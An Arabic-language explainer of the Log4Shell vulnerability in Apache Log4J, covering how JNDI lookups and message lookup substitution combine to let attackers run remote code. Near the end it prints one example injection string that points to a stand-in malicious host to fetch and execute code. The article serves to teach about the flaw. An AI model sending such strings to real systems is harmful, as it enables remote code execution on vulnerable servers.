تؤثر ثغرة Log4Shell على Log4J، وهي مكتبة تسجيل مفتوحة المصدر تديرها مؤسسة Apache Software Foundation. Log4J هو مُسجِّل، وهو مُكوِّن برمجي يُسجِّل المعلومات والأحداث في برنامج، مثل رسائل الخطأ ومدخلات المستخدم.
Log4J ليس برنامجًا مستقلًا ولكنه حزمة من التعليمات البرمجية التي يمكن للمطورين إدخالها في تطبيقات Java الخاصة بهم بدلاً من إنشاء أدوات تسجيل من البداية. تستخدم المؤسسات الكبرى —بما في ذلك Apple و Twitter و Amazon و Microsoft و Cloudflare و Cisco وغيرها الكثير — Log4J في برامجها وخدماتها.
ينتج ثغرة Log4Shell من الطريقة التي تتعامل بها الإصدارات الضعيفة من Log4J مع ميزتين مرتبطتين: عمليات بحث واجهة Java Naming and Directory Interface (JNDI) واستبدال عمليات بحث الرسائل. ستكون كل ميزة بمفردها غير ضارة، لكن التفاعل بينها يمنح المتسللين سلاحًا قويًا.
JNDI هي واجهة برمجة تطبيقات (API) تستخدمها تطبيقات Java للوصول إلى الموارد المستضافة على خوادم خارجية. عملية بحث JNDI هي أمر يوجه التطبيق للذهاب إلى خادم وتنزيل كائن محدد، مثل جزء من البيانات أو برنامج نصي. تعمل الإصدارات الأقدم من Log4J 2 تلقائيًا على تشغيل أي شيفرة يتم تنزيلها بهذه الطريقة.
يسمح استبدال بحث الرسائل للمستخدمين والتطبيقات بإرسال متغيرات إلى Log4J داخل رسائل السجل باستخدام بناء جملة محدد: ${prefix:name}. عندما يواجه Log4J بناء الجملة هذا، فإنه يحل المتغير ويسجل القيمة في السجل. على سبيل المثال، إذا تلقى Log4J رسالة نصها
${java:version}
سيكتشف نسخة Java الحالية التي تعمل على الجهاز. في السجل، سيسجّل: “Java version X.XX.”
بعبارة أخرى، لا يتعامل Log4J مع بدائل البحث عن الرسائل كنص عادي. إنه يعاملهم مثل الأوامر ويتخذ الإجراءات بناءً على ما يقولونه. يمكن للمتسللين استغلال هذه الحقيقة لإرسال أوامر بحث JNDI ضارة إلى التطبيقات التي تعمل بإصدارات ضعيفة من Log4J. على سبيل المثال، يمكن لمخترق إرسال سلسلة مثل هذه إلى Log4J:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
عندما يتلقى Log4J هذه الرسالة، فإنه يحل المتغير عن طريق الاتصال بالخادم على myevilwebsite.biz وتنزيل الكائن الموجود في /maliciouscode. ستؤدي هذه العملية إلى قيام Log4J بتنفيذ أي كود Java قام المخترق بتخزينه في هذا الموقع، وعادةً ما يكون برنامج ضار.